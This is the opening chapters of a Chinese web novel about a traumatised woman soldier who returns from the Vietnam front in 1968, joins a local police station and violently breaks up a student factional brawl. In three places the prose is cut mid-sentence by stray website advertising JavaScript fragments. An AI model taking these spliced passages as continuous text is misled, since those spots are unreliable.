《涂警官在七零年代先婚后爱》
1. 江城
1968年,正月刚过了十五。
东北某省会江城还很寒冷,一喘气儿就是一串湿润的白雾,和着冷风刺得脸颊生疼。
这地界儿就是这样,在漫长的冬季里,连呼吸都带了凛冽的味道。
涂翡顺着人群下了火车。
当刺骨清冽的空气袭来,她忍不住深深吸了一口气,寒气瞬间贯穿天灵盖。
她扯了下帽子,拎着行李在雪地上站定,一时失神。
她身前是列车涌下的人潮,南腔北调和熟悉的口音混杂在一起,大包小裹的往站外走;身后则是各趟列车,带着独特的轰鸣,缓缓而来或者缓缓而去。
很快,熙熙攘攘的人潮消散,冰冷的温度穿透棉衣,她笑了起来。
这是家的味道。
“同志,需要帮忙吗?”一个穿着深蓝色制服的民警大步走向她,粗狂的嗓门和熟稔的大碴子味儿隔着风雪传来。
涂翡回神:“这就出站。辛苦了。”
说着,她敬了个军礼。
民警立正敬礼,眼睛炯炯有神:“为人民服务!”
涂翡不再耽搁,出站坐上电车,一路向北。
电车上人也不多,却很拥挤。行李是一方面,每个人身上都很臃肿的棉袄是另一方面——似乎一回身,脸就能陷入某个大姐绵软的袄子中。
她就一个军绿色的旅行包,放在脚边。将脸贴在没结霜的玻璃上,目不转睛地看着车外熟悉又有些陌生的城。
行人、马夫、板车、货物,协奏出城市的喧嚣。
若是置身于此,便会有种置身于人群中的另类安宁。可经过残酷的战争,陌生人群的吵闹与呼吸,只会让涂翡瞬间紧绷起来,生怕窜出来一个敌人朝人群扔下炸弹。
只是此刻回家的喜悦压倒了一切神经性反应。
.
涂翡家在江城北疆区,镇北街道宁字片。那地方原来是个小村镇,解放后随着城市的建设规划,被扩入了主城区。
不过,她家算不得本地居民。
她出生在东北解放前夕,因为缺少药品,母亲生她的时候就去了。在那之前,涂家几口人都是义勇军。
虽有个军队的名头,实际上就是没人管没人支援的自建抗争队伍,驻地都在人烟稀少的山里。
在艰苦的抗战之后,她爹进了四野,爷爷进了北疆区轴承厂保卫科,奶奶在附近医院工作,随着家属区建成,他们就在镇北街道安了家。
只是家庭人丁渐落,到现在,涂家只剩下她和爷爷两个人了。
电车个把小时进了北疆区,在终点站下车,再步行二十多分钟就到了镇北街道的辖区。哦不,现在是镇北城市公社。
镇北公社内有个贯穿了南北、东西的十字街,除此之外,还有东一、东二、西一、西二道街,在整齐的规划中,落座了几处工厂、几所学校、住宅区、商铺……
也算是麻雀虽小,五脏俱全。
拐两个弯儿,就到了宁字片。这一片胡同的名字都以宁字开头,涂翡家就在宁罗胡同24号。
她轻车熟路地拐进胡同。
哪怕再过几十年,她依旧闭着眼睛也能找到家门。如果这片平房还在的话。
胡同里迎面过来一个端着搪瓷盆的妇人,她忍不住看了几眼涂翡,大概是觉着眼熟,但又不敢认。
涂翡停下来,笑了下:“白婶,我是小翡!”
白婶惊叫了一声,连忙走上前,打量她半响,到底没夸出来什么,只轻轻捏了捏她的胳膊,隔着棉袄感受到骨头,鼻头又是一酸:
“哎,这得六七年没见着你了,变化太大了,整得我都不敢认了!这孩子咋瘦成这样呢,部队没给你吃饱?这回回来还走不走?”
上次省亲回来涂翡没见几个人,算起来从入伍起她就没见过白婶了,六年。
涂翡也知自己变化大,对婶子的各种情绪接受良好,她眼神柔和了很多:“嗯,不走了。你这端着盆子去哪,赶紧去吧,咱回头再聊。”
白婶是与她家隔了两家的邻居,奶奶还活着的时候和她关系很好。
告别了白婶,涂翡的表情又淡了去,倒不是装模作样,只是近乡情怯。
这个时间,工人还没下班,学生也没放学,外面又冷,路上她除了白婶再没遇到谁。
走近家门就听见院里老涂在院子里劈柴,还唱着《大刀进行曲》。门前涂翡停了几秒,推开家门,‘吱呀’一声。
入眼的是个不算大的院子,墙边的柴火垛摆放得整整齐齐。
冬天的小菜园除了雪别无他物,只有一条清扫干净的小路,路两旁堆成了雪堆。
站在小园中央的老头清瘦,精神矍铄,脊背还算挺拔,只是满头白发。
他背对着大门正在劈柴,歌声铿锵有力:“大刀,向着鬼子们的头上砍去!”
听见动静,本要劈下的斧头轻飘飘落到木头上,只留下一道浅痕,老头转过头来。
他看见了涂翡。
俩人安静地对视了两秒,涂翡打破宁静:“爷,我回来了。”
一句话让俩人红了眼眶。
涂希芳看着又瘦又黑但眼神坚毅的孙女,把嗓子眼里的哽咽憋了回去,云淡风轻地放下斧头:
“回来就行。走,爷给你包饺子去。我挑了一颗最好的酸菜!”
说着他大手一挥,脱下干活穿的破棉袄,转身进屋,顺便擦了一下差点流出来的眼泪。
好不容易挺过了抗战,结果小儿子死在了抗美援朝的战场,这次,他差点以为他孙女要死在抗美援越的战场了。
还好,人回来了,活着回来的。
涂翡看着老头几乎全白的头发,突然觉得就这么退伍也挺好。
她知道,虽然远离了战场,但她离家越来越近了。在战场上她一往无前,但自回了军区,她就觉得愧对老涂。
老涂今年65,早从轴承厂退休了。虽然一个人的生活条件还不错,但他唯一的亲人远在边关,在这个多子多福的时代,外人只会觉得他可怜。
一进门就是外屋地,灶台边上放着一盆油汪汪的猪肉酸菜馅,大豆油和猪肉量都很足,酸菜的酸味格外刺激人的味蕾,特别是涂翡这个在越南熬了两年的人的味蕾。
涂翡这会也乐了,哪还有其他的情绪。
这可是饺子啊,酸菜馅儿的!
老涂瞥了她一眼,叉着
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
腰,神色得意:“我就知道你想吃这个!当年你爸请假回来一进门就跟我要酸菜饺子!”
小涂赶紧放下东西,脱了军大衣跟着老涂去了西屋。
涂家总共三间房,进门外屋地,东北人的厨房。
兼储物间、兼洗漱间。
左边是老涂住的西屋,空间不大,胜在方便,平时点火做饭,屋里的炕就相当暖和。
东屋小涂住,空间大,大炕能住四、五个人。除了当小涂的卧室,这个房间还兼职着家里的储物、待客、学习等各种各样的功能。
今天就他俩,还不用动用东屋。俩人端着面板往西屋小炕上一放,一个坐凳子,一个坐炕上包饺子。
攒了几个月的票换来的白面都在这了!知道她要回来,老涂年都没怎么过。
老涂知道很多事不能说,也不问战场上的事,直接单刀直入要命的问题:“伤哪了?”
小涂神色不变——连包饺子的动作都没变。
还没说话,老涂却眼睛一瞪:“少蒙我!你离转业还早呢!再说你瞅瞅你这干瘦干瘦的体格子,你没受伤?”
几年不见,老涂的脾气渐大啊,明明年轻时看着还挺斯文的。
涂翡无奈,只能挑拣着说一些:“水土不服,我们不适应那边的气候。我是受了点伤,但问题不大,医生说得养。
也是恰好有个转业的机会,看在军功和性别的份上,领导照顾我。
现在转业多难啊,僧多肉少,真等到了年纪升不上去再转业,还不如现在回来。”
她这也不算撒谎,水土不服是真的,但缺衣少食也是真的,远征军哪有不艰苦的。
至于受伤,她要是不受那么重的伤,也回不来。
就是她真是把胃搞坏了,不然怎么闻着这馅儿的香味,怎么恨不得生啃一口呢?
涂翡还不至于做出这么糟的事,她只是手上动作加快,狠狠压了压馅儿,飞速捏了几个褶,一个胖乎乎皮薄馅大的元宝饺子新鲜出炉。
涂希芳沉默着,心思兜兜转转到底什么都没问,由着孙女诓骗他:“行,那转业到哪?”
“镇北派出所。”看着老涂脸色又要变,小徐慢条斯理地又吐出俩字:“文职。”
……
镇北派出所所长姓马,刚调过来当所长两个多月。
因为这两年闹革命,现在整个公安机关都百废待兴,雪上加霜的是,就在半个月前,所里绝大部分公安都去下放到县城进学习班了,留下的人不止身家清白,从警经验也甚是清白。
他一点不想蹚这趟浑水,军队接管公安机关,就是收拾烂摊子的。
但国家需要,他就得来。只是希望能独善其身,尽力少参与那些左右之争。
马所长发愁地看着这次增派过来的人手,民兵转调、临时工转正、军人转业……诶,这个叫涂翡的是个侦察兵?还是刚从战场上退下来的?
马所长有些激动了,这可是侦察兵,优中选优的兵种!适合去刑侦股!再往下看资料,越来越满意,呦呵,还有卫生员的经验!
很快到转业建议这一栏,激动的表情凝固了。
什么叫,建议从事文职工作?!
2. 警局报到
涂翡不知道她给领导造成了多大的情绪起伏。
吃饺子哪能不喝酒。
饺子、一碟花生米、特产鱼干,一斤烫过的小烧酒。
白婶还送来了一碟她特制的小腌菜,很可口。
老涂和小涂借着酒劲套着对方的话。一开始还不着痕迹,但喝着喝着就开始直接问了。
“你这23了,在部队就没谈个对象啥的?”
“天天死人哪有心思想这些。你呢,就不想找个人照顾你?”
“照顾个屁,老子还需要人照顾?再找一个,是人家照顾我,还是我照顾人家?我要真找个能送我走的,那叫耍流氓!”老涂对自己长寿这事儿相当有信心。
他这边没什么需要担心的,身体硬朗,连药都没吃过一次。
就是这几年世道有些乱,好在他退休了。
老涂提醒涂翡好几次,一定要低调,万事注意分寸,别留把柄。大事不能犯,小事就积极自我批评。
小涂自认没说违规和惹人担心的话,对自己的套话技术也很满意。
迷迷糊糊收拾完,回到被老涂烧得热热乎乎的东屋,钻进被窝靠着暖墙就睡了过去。
倒是老涂,躺在西屋炕上,抹了半天眼睛。
涂翡好久没睡这么好了。
直到半夜窸窸窣窣的声音响起,涂翡瞬间睁开眼睛,清醒而凌厉。
感受着身下火炕的热气,她才反应过来,她已经在家了。
她重新闭上眼睛,再没睡着。
.
第二天上午,涂翡出门报到。
路上遇到两股学生在街边辩论,争锋相对,高谈论阔。绿军装,红袖标,慷慨激昂。
真是有理想的人不怕冷,涂翡都替他们冻牙。
学生人数不少,有种打群架的气势。围了不少观众,有工人有孩童,他们没把街道都堵死,但车辆已经无法通行了。
涂翡停下来听了几句,不得不说这些学生很有才华,很有见地。就是为了自己的政见毫不相让到了疯狂的地步。
她猛地看到这场面,只觉得惊悚。
涂翡终于对这场变革有了实感,也理解了老涂昨天反反复复的叮嘱,她干脆绕过了这群纷争。
镇北派出所在镇北公社中心范围,离得不远,很快就到了。
她打量了一下未来办公的地方,这是一栋二层的矮楼,每层有十来个窗户。
从排气口看,应该还有一层地下室。
大门在正中间。
她大步上前,推门而进,入门是大厅,有四张办公桌,两两相对,分别靠着东墙西墙。中间的空地尽头是通往二楼的楼梯。
这会屋里只有两个民警,都很年轻,穿着上绿下蓝的警服,看到涂翡进来就站起了身:“同志,你有什么事吗?”
“来报到。”
“哦,二楼右转,所长室!”
木质楼梯咯吱咯吱地响,涂翡上了楼,走到尽头,是所长办公室。
听见应许声,涂翡推门而入。
办公桌前坐着一个一身正气,身形高大结实的中年男人,坐姿笔挺,看着就很有军人气质。
涂翡敬礼:“×军×团退伍兵涂翡前来报到!”
马所长看着黑瘦高挑的女子,先是愣了一下,但很快站起来敬了个礼,动作标准。
马所长也是军人,在失望过后很快就想明白,战场上退下就转业,肯定是出了些问题,要么身体因素,要么是,精神问题。他已经做好了涂翡来养老的打算。
直到真正看见涂翡这一刻。
涂翡资料上的照片他都看过,虽然是黑白照,但却能看出她是个白皙英气的姑娘,但眼前的这个,皮肤粗糙黝黑,脸颊已经熬没了血肉。
不能说丑,但如果不看五官,判若两人。
他想,如果他是她领导,看见她这幅尊容,大抵也要冒着风险替她筹划。
问询了几句,马所长打消了原本的想法,他思索着开口:“给你安排在……档案室,那里工作比较清闲。不过,转业后工资要降一级,职称是二级办事员。”
办事员有六个级别,一级最大,再往上是副科级。按涂翡的军职,二级办事员级别不高。
但这已经是领导费心运作的结果,这两年转业很难。
涂翡没什么可说的,在军队她职位级别虽高,但工资级别却始终没升上去。
都是这样,军功太多,大家都只升官不发财。
还是实实在在的工资最重要,一级八块,她现在的工资70元。也是高工资了,普通的工人,工薪才在30到40元。
新来的下属,过往经历还挺精彩,老马自然要多问问。
特别是能力方面,就算是来养老的,那也得多发挥余热。
只是没聊几句,一个警员匆匆敲门而入:“所长!有学生在东十字街打起来了!”
涂翡蹙眉,东十字街,那不就是刚才她来的地方?
那群学生动武了?
马所长脸色大变,他拿过蓝色雷锋帽扣到头上:“刚强调完不许串联,只在本单位搞文斗!这群小兔……整队!”
他大步流星走出门,路过涂翡身边叮嘱了句:“给你三天!把事情办妥下周一来上班!”
转瞬之间,楼里“兵荒马乱”。
等涂翡下楼的时候,执勤的换成了一男一女两个民警,看模样体格大概是文职工作者。
看她下来,女民警站起来:“你就是涂翡吧,我是刘莉,劳资员,负责所里的人事工作,所长让我带你办手续。”
涂翡眉头一跳,就听不得别人叫她大名:“叫我小涂就好。”
刘莉说完她的名字,也是一怔,赶紧改了口。一个公安叫这么个名……多少有点促狭。
刘莉长得漂亮,齐耳短发看起来利落大方。
她性格也是如此,涂翡一路跟着她交接,很快就办完了入职手续,还领了一套制服。
顺便她还和刘莉聊了聊外面学生的“武斗”。
学生之间也有各个派别,东北人又争勇好斗,闹得最欢时,大学校园都变成了战场,街道上都是学生们为了抢占地盘拉的警戒线。
建立堡垒、攻占彼此根据地,不少校外人士也加入其中,规模甚是庞大。
最大规模的‘战争’,已经上了重兵器和炸药,死伤很多。这几个月开始整顿,军队接管后,勉强把这血腥味遏制住了。
但这几年,该毕业却没分配到工作,留校闹革命的学生好几届,学生一多,不上课,不工作,整天就是斗斗斗,本该在学校的文斗不可避免就溢出校园,甚至大打出手。
自军管以来,马所长就一直带着人各处灭火。
刘莉当然不会说这么清楚。
涂翡本也不是一无所知,根据刘莉流露出来的线索推断一下,她便初步知道了派出所现状。
刘莉人不错,很热心肠,哪怕因为戒备很多事都点到为止,但交接需要办理的手续她说得很详细。
涂翡不是拖延的性子,干脆警服先寄存在单位,打算这一天都和各种手续耗了。
中午在国营饭店吃了顿好的,一大盘猪肉炖粉条,汤都用馒头擦得干干净净。
等太阳微微偏西,涂翡终于拿着粮本户口回单位取了警服包裹。
路过东十字街的时候,已经一片祥和。
回派出所的时候她还问了一嘴,得知他们平息这场武斗之后,学生们都被押送回了自己学校,有几个受伤严重的则送去了医院。
不幸中的万幸,这次学生没动刀动枪,暂无伤亡。
至于对学生的惩戒,则凭学校做主,留校关禁闭。
东北冬天夜长,天色暗了,实际上还不到四点。那场武斗无声无息就消散了,人们各干各的,对此毫不在意。不知道是处理的太好,还是太习以为常。
但涂翡还是放心的太早了。
在她回家的路上,有一处公园,不大,里面没什么东西,平时来往的人也少。
但今天的公园有点热闹。她刚走近,就听见了争执声,和早晨那场斗争有点相似。
怕出事,涂翡直接走上通往公园中心的小路。路两旁被雪与树枝遮掩得严实,看不见里面的情况,声音也不怎么清晰,但那群人愤慨高昂的语调却很明朗,抑扬顿挫。
“池步湘,你以为退学就万事大吉了?你这是革命的逃兵!还是说你的思想受到了徐文斌的荼毒,想做资本主义的走狗?你想和他一起下放?”
批判指责的一方激愤正义,被批判的人却只是慢悠悠地掏了掏耳朵,语气轻佻带刺:“这么大声干什么,我能听见!
领导,你们知识分子这动不动就扣帽子的毛病得改改,显得你很无知……什么叫革命的逃兵?我那是深入群众。
伟人不是说了?要从群众中来,到群众中去。”
秦硕:“别胡搅蛮缠,明明是你消极革命!你这是被徐文斌影响了,我告诉你,他可不止是臭老九,还是封资修大毒瘤!”
池步湘啧了一声,他就是来这边找点配件,怎么就被这群疯狗盯上了。
真是倒霉。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
听他又提起徐文斌,池步湘眼里闪过一丝惘然,但很快,眉宇间就染上了嘲讽:“呦,上老子这儿唱大戏来了?
别跟老子扯淡,我一个肄业生,没文化,听不明白你的潜台词。还扯什么徐文斌,你是他课代表都没被影响,还能影响到我了?”
池步湘这人,很轻易就能挑起别人的怒火,他好像专门知道怎么气人。
叫人领导,说他们唱戏,还说秦硕是课代表。再看那吊儿郎当的流氓模样、欠揍的语气,就更让人气了,这人哪里还能看出知识分子的影子!
奈何秦硕今天围堵池步湘,是想招揽他。
池步湘这人是有点混,但他在机械物理学上是个天才,他完全可以把能力发挥到革命中,把他们的根据地打造成堡垒。
秦硕压着火气:“我们给你迷途知返的机会,组织需要你。你以为我不知道你来干什么的?你家可不在北疆区,一个月跑过来三次,这么兢兢业业,可别说是回校瞻仰革命荣光。”
都军管了,这群人竟还想着扩充‘革命’队伍?
这群疯狗还挺天真!
池步湘被逗笑了,越想越觉得讽刺,最后旁若无人地捧腹大笑,笑了一会,他擦擦眼角笑出来的眼泪:“你们需要我干什么?挖坑埋人?哈哈哈,再怎么说,我也算半个知识分子,哎,干不来这种粗活!”
他越是笑,秦硕等人脸色越是黑。
本就被他气得不轻,这话更是彻底激怒了众人——在斗争之始,先后自杀的两位臭老九,是江大造反派最不能被提及的禁忌。
自绝于党,自绝于人民!这是错误的!
但种种激烈的批判之下,还隐藏着无法背负的沉重。
针锋相对的气氛变得更尖锐,吵嚷间,两个高壮的男生冲向池步湘。
有人要阻拦,但那双漂亮的桃花眼已经敛了笑意,池步湘跨步上前,一拳打在男生胃上。
那男生身强体壮,但没池步湘狠,出师未捷,倒在地上起不来了。
这还拦个屁,干他狗日的!
人群蜂拥而上。
池步湘顺势又放倒一人,把他往人群密集处一扔,在混乱尖声中寻个空档就往外跑。他得多傻才和一群疯狗硬碰硬!
“别让他跑了!让这孙子嘴贱!”
池步湘速度快,很快就甩开了一众人。但没等他逃之夭夭,迎面靠过来几个眼熟的学生。他倒吸了口气,操,进退两难了!
他狠狠骂了一声。
抓他这种小喽啰,还用上兵法了?真是看得起他。
他太了解这些学生了,落入他们手中,没有事端也会制造事端。
何况,他大概是经不起查的。
池步湘眼里发狠,直接往要害上打,下三路、太阳穴、鼻子、眼睛……但事实就是双拳难敌这二十来只手,哪怕有该溜子小霸王之称的池步湘也难逃一劫。
好在冬天穿得厚,这些人也没他歹毒,被人压着拳打脚踢之下他还留有力气,他趁乱一把揪住领头的秦硕,不管这些人如何下手,他只死命压着秦硕往他头上招呼。
秦硕骂了几句脏话,挣扎无效,最后护着头大喊:“别放过他!”
都是血气方刚的年轻人,打上头后哪还顾得上招揽和威胁,三四个人和池步湘在雪地里扭打成一团,白雪翻飞。
周围的人劝架的有,加油的有,顺手捡起武器防身的也有。
虽然插不上手,但瞧着也格外有参与感。
雪地里一片凌乱,公园的椅子歪进了雪堆。
涂翡穿过小树林,看到的就是这一幕乱象。
“都住手!公安办案!”
她记性好,打眼一看就发现其中几个学生她今早在东十字街见过,这就是所谓的在校反省关禁闭?
一听公安,外围的几个男同学惊惶地回过头,见来者没穿藏蓝色的大衣,顿时松了口气。他们打量着涂翡,对她更是怀疑了几分。
她这身材体魄,不像一线民警;肤黝黑粗糙,也不像是坐办公室的文职警察。
就是那一双凤眼,凌厉明亮的让人发慌。
最高壮的徐强上前一步,挡在众学生前面:“公安?有证件吗!你这是妨碍革命!”
涂翡知道,光用身份是压不住了,她的公安证还没发给她。见后面那打成一团、人畜不分的几人,她决定采取强制措施。
见她往前走,正对着她的徐强下意识后退一步,但随即他又羞恼地走上前,拿着手臂粗的松树枝,直指着涂翡:“后退!别多管闲事,小心惹火上身!”
3. 悲惨现场
在人类这个群体中,总会发生一些没有理智的从众效应,进而造成极大的悲惨现场。
现在就是如此,当徐强举起棍子指着涂翡后,其他对峙的学生们也举起了武器,试图恐吓她知难而退。
涂翡看着这场景,手指微颤,而后狠狠攥起。
她的眼神毫无预兆的发生了变化。
如果说之前是清正、包容、急切的,那现在只有极度的冷漠和凶狠。她看着对她竖起武器的人们,看着那些疯狂狰狞的脸,好像整个世界都褪去了颜色。
此时世界寂静,只有藏在心底的声音在脑海里响起。
干掉他们。
涂翡手一松,包裹掉在了地上,她以一种难以企及的速度冲向敌人,手握成爪,下一秒就护住了徐强脖子,按着他猛地往地下一惯。
极致的速度和强烈的撞击,让人连挣扎都来不及,直接失去了意识。
她抬起头,眼底的凶狠更甚,让人不寒而栗。
这边的动静影响了打斗的人,除了最底层的池步湘和被他抓着打的秦硕,其他人都爬起来戒备地围向她。
涂翡扔了徐强,站起来握住最近的木棍,这人被扯得一个踉跄,涂翡用膝盖撑着他,双肘并用,砸向这人的后背肋骨。
不过其他人的攻击影响了她的动作,这人肋骨没断,只是像一摊烂泥一样倒在地上干呕。
到底只是学生,哪怕武斗了很多次,但和涂翡这种从小练到大,又从死人成堆的战场里爬出来的人不一样。
她身法诡谲,让人无法凭体重和人数压制她。
拳拳到肉,池步湘和秦硕还没从雪里爬起,学生们就都倒在地上呻吟了起来,无一幸免。
“你谁啊,我要报警!”秦硕松开池步湘,半跪在地上崩溃地大吼。
涂翡冷漠的眼眸转过去。
还有一个。
她走上前,弯下腰,揪住秦硕的领子将人提到身前,朝着太阳穴一拳砸下。
池步湘抢先一步,挡在秦硕面前,手臂交叠着夹住了涂翡的拳。他被这冲击力打得闷哼一声,但依旧死死抱住了涂翡的手。
涂翡与池步湘对视着。
所有人大气都不敢出。
直到池步湘嘴角的血流到雪地上,“啪”的一声,滚烫的温度与冰冷的雪交融,升起一缕白烟。
池步湘顾不上擦血,努力释放善意:“别搞出人命,会死人的……”
他不能让事态无法挽回。
比起那些顾头不顾腚的人,他一直注意着全场,自然看到了这个自称是公安的女人。
他对她的到来抱有一丝庆幸,他宁可被公安警告,也不想在言语中被定下罪名,被践踏尊严。
就像徐文斌一样。
他看到了,她突然发疯是因为有人对她举起了武器。
所以,不能攻击她,一丝一毫的攻击性都不能有。
涂翡看着这双干净友善但透着疲倦的桃花眼,突然想起了她的战友。
就像是有了锚点,飘摇狂烈的世界镇定下来,逐渐有了色彩。
然后,入目的是一张唇红齿白、俊朗漂亮、好看到与这个时代都格格不入的脸,哪怕沾染了污雪尘土。
涂翡不为所动,只淡声道:“松手。”
池步湘松开手,紧绷的心重新跳动。
涂翡不是毫无意识,但这种强烈的攻击欲望她无法控制。
思及此,她有些疲惫,站起身,也没回头,就这么倒退着走了几步,退到雪堆旁的长椅跟前,坐下。
看着满地呻.吟的伤患,她挑眉:“还不走?”
她下的手她知道,她只是想把这些人都放倒,让他们失去反抗能力,而这些人倒得又快……除了被她扣头的那位可能有脑震荡,其余的都是皮肉伤,顶多疼上一个来月。
最狠的那下肘击也偏了,不然怕是要出事。
也幸亏她手上没带什么杀伤性武器。
凝滞的气氛被打破,池步湘坐了起来,恢复了那副吊儿郎当的样子,眼神挑衅不屑。
痞里痞气的气质掩盖了那副好容颜,甚至他身上多了种矛盾的攻击感。
他摸了摸眼角的伤痕,嘶了一声:“怎么,需要我去公安局帮你们报案?
正好你们也解释解释,本该留校反省的人是怎么溜出来殴打无辜群众的。”
学生们面面相觑,看了一眼涂翡,心尖一颤,没等秦硕发话,互相搀扶着跑了。
秦硕咬牙暗骂一声,走向晕过去的徐强,发现人还活着,松了口气。
他半拖半抱着将人拉出去好远,走到安全范围,这才回过头看池步湘:“要是人出事,我不会放过你的!”
他没敢看涂翡,就怕惹毛这个煞星。
池步湘听多了这种威胁,不太在意。
学校之前也不是没死过人,大型武斗致死的、自杀的,死了快十个了,也没见谁受到惩罚。
何况人还没死。
反正一切都是革命斗争。
他倒是很在意这个不知从哪冒出来的女人,他道了一声谢,将地上的包裹提到她身边。
看涂翡没有理会他的意思,他也走了。
只是他走得不快,回头看了涂翡好几次。
是个很奇怪的女人。
但这年头,最好的道谢就是萍水相逢。
涂翡在长椅上呆坐了会,起身的时候路灯已经亮了。她整理好了情绪,看着凌乱一片的小公园,认命一般把长椅搬回了原本的位置,恹恹地用鞋侧将路中间的雪块扫到雪堆里。
看着明显被破坏过的雪堆,她皱了会眉,到底没忍住,带上新发给她的棉手套,蹲下身,借着黄色灯光,将雪堆拍成了一个标准的小山。
等涂翡回到家的时候,涂希芳没从她身上看到一点异常。
.
江城大学是省里第一所综合性大学,落座于北疆区镇北公社,也是造反派中激进派的根据地。
一开始激进派才是主流,他们以强烈、激进、打倒一切的气势,将矛头对准教育界、政界、干部阶层。
但因有太大的破坏性,其内部不断分裂,持反对的声音渐多,在其他派系的不断抗争中,整个激进派只留下了江城大学这一处根据地,其他派系都被驱逐出了校园。
但从今年起,为了平息这场造反派夺权的动乱,军队参与了管理。
所有造反派回归学生的身份。除了少数加入革命组织内的学生,其他人返校只允许在本校闹革命。
所以,江大虽是激进派根据地,但也难免被回校的保守派制衡。
秦硕只是激进派一个小头目,在禁闭期间出去不算事,但偷溜出去,还留下鼻青脸肿的证据就是大事了!
可以
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
违规,但不能给组织添麻烦,那叫没事找事!
上有学长学姐坐镇,旁有保守派虎视眈眈……
他在报警报复之间反复权衡,最后选择了抱歉。
首先,对满身青紫的同伴们抱以最诚挚的歉意!
然后,对伤得最重的徐强同志抱以最诚挚的祝福!
校医院不能去,秦硕几乎把所有人身上的钱都搜刮了出来,带着疑似脑震荡的徐强去了第一人民医院。
其余的学生也没敢回学校,一个个鼻青脸肿的躲回了某个学生家。
惨烈,很惨烈。
就是不知道是涂翡的拳头伤害大,还是池步湘那个专门捅人眼睛和裆部的流氓伤害大。
反正全身疼。
蛋也疼。
作为武斗的另一方,池步湘也不会自找麻烦。
这群学生只会往身上打,他又穿得厚。而能砸透棉袄的涂翡,拳头又没真落在他身上。
他不疼。
哪儿都不疼。
他趁乱退学把户口迁回,就是为了避开纷争。要是为了整治他们,重新暴露在那群学生眼前,那是得不偿失,小不忍而乱大谋。
而且,就算不考虑自己,也得考虑那个下死手的疯女人。
作为唯一有报警立场的涂警官,因为攻击过度,也不可能回警局打报告。
于是,都是不完美受害人的三方,三缄其口,这事就这么悄无声息地过去了。
涂翡没有一定要将人送警局的想法,或者说她还不太适应公安的身份和这个社会的乱象。
她在军队呆了六年,纪律、战争、训练、竞争……突然跳出了军队的规则,面对这个处处革命的环境,她有些不清楚怎么做才正确。
上前阻止学生们武斗,只是因为一名军人该有的责任感。
说得自私些,施暴的年轻人被送回警局也不会有什么惩罚,反倒是她这个还没上任的准公安,若是暴露出她精神有问题,别说她是否能就职,就是放她出来的军区领导和医生也得吃挂落。
没错,她精神出了问题。
她在越南战场最后参加的是敢死队的任务,她以为她会死。
但最后,有三人活了下来,她是其中一个。
因为伤势过重,她被送回了国,命救回来了,但自那之后精神就出了问题。
她常常做梦,梦见尸横遍野、断臂残骸;梦见草木荒凉、战友一个个离去;梦见她杀死的敌人,他们目不转睛沉默地看着她;梦见部队驻扎,她去战地医院帮忙,却怎么都无法为战友止血……
有时候,也会梦见敢死队出发前那晚,战友们在卡车昏暗的光线里笑着,聊着天,似乎不是去赴死,而是去参加一场宴会。
只有她,她努力想听清他们再说什么,却什么都听不见。
转眼他们消失无踪,只剩下她自己。
沦陷梦中,或从梦中惊醒。
除此之外,对她有威胁的任何行为,都会引起她失智般的反击。
某些场面就像是开关一样,一旦发生,就会挑动她敏感脆弱的神经,让她开启无限防御的模式。
她甚至知道,那不是敌人,但却克制不了自己的攻击。
有时候她会想,是不是她的意志不够强悍,她的信仰不够坚定。明明她在为祖国战斗、为人民战斗,明明她不怕死、她不怕牺牲。
4. 梁玉秋
事实上,在所有大型战争中退下来的士兵中,她不算最严重。
军区有个让大家都忌讳颇深的地方,战后疗养院。那里住着很多精神出现问题的退役老兵。
有个离谱的传言说,那些精神问题,都是从鬼门关带回来的毛病。
涂翡没到那个程度,并对此说法嗤之以鼻。
她只是精神和身体都需要修养,她的医生发现了她的情况。她不想进疗养院,伤情也够不上那个标准。
最后在医生的建议下选择了转业。
远离战争。
涂翡不是那种会自我折磨的人,她一向信奉车到山前必有路。
所以,在再一次证明她精神确实有问题的攻击事件发生后的第二天,她没事人一样,甚至精神充沛地起了个大早。
早晨五点,伸手不见五指,她迈出了房门。
凛冽的风吹得呼呼作响,冷空气刺痛了裸露的皮肤,涂翡没打退堂鼓,搓了搓脸,穿着厚实的军大衣在院子里先跑了十圈。
还是不够暖,活动得不够开,她在老涂劈柴的空地上摆开架势,打了套养生拳,等身体彻底热乎起来,她脱了军大衣,身着薄袄,再次拉开双拳,拳风遒劲有力,猎猎生风。
等天边露出熹微的晨光,她已经出了一身汗。
但她觉得很轻松,脑子也彻底清醒了。
突然转成文职,她确实不甘心。
但精神问题,连大夫都没有什么好办法。
她能做到的,就是不荒废一身武艺,把自己亏空的身体养好,既然回家了,就好好孝顺老涂。
她甚至不敢想,若她没回来,这对老涂来说是个多么残忍的结果。
相邻的人家有了开门声,空气里也夹杂起了烟火味。涂翡做完最后的拉伸,搓热了手和脸,进了屋。
她没着急洗漱,先把灶烧上,在锅里添上水,热上干粮。等一会出门买点豆浆豆腐脑,再吃点咸菜,早饭就解决了。
她和老涂手艺都不算好,老涂的家常菜还凑合,退休之后练出来的,水平相当一般。
涂翡是食堂从小吃到大,根本没有耳濡目染长辈厨艺的机会。这些年在部队她倒是学了几手,就是会的比较极端。
最简单的她会,比如清汤面;值得端上年夜饭饭桌的,她也会两道,比如红烧肉。
至于中间的家常饭菜,水平为零。
所以早餐能买就买吧,反正她手里的钱票多,就当给家里省粮了。
城镇的居民有粮本和副食本,定量分配,无论是买粮,还是肉蛋这样稀少的副食,都得拿着本到指定的店铺购买。
她一个月只有30斤的粮食配额,正常人都吃不饱,更何况她了。
像早餐店、食堂、饭店,这样的地方只要票,不用本。
对其他人来说,粮票就是最大的问题,而她粮票充足,只是有时候有票也买不到好东西。
吃穿就是人生最重要的事。
她出去锻炼前把炉子烧了起来,上面放了洗脸盆,这会盆里的水已经特别烫了。她盛些凉水兑上,刷过牙后,她端水回屋,洗了脸擦了一遍身子。
该办的手续都办完了,还有两天假期,她打算去看看朋友。
她有几个朋友,只是这两年断了联系。
再就是战友,还在战场上的战友她鞭长莫及,但她以前呆过的连队、退伍的老班长、她因伤退伍的手下的兵……都要联系。
信中不宜写太多,但总要交代一下她还活着。
再给他们寄些特产。
因为要见朋友,涂翡突然在意起了皮囊。她站在镜子前,摸了摸脸,粗糙。
再看颜色,呵,她现在可以去非洲做卧底任务了。
不知道现在去买雪花膏有没有用。
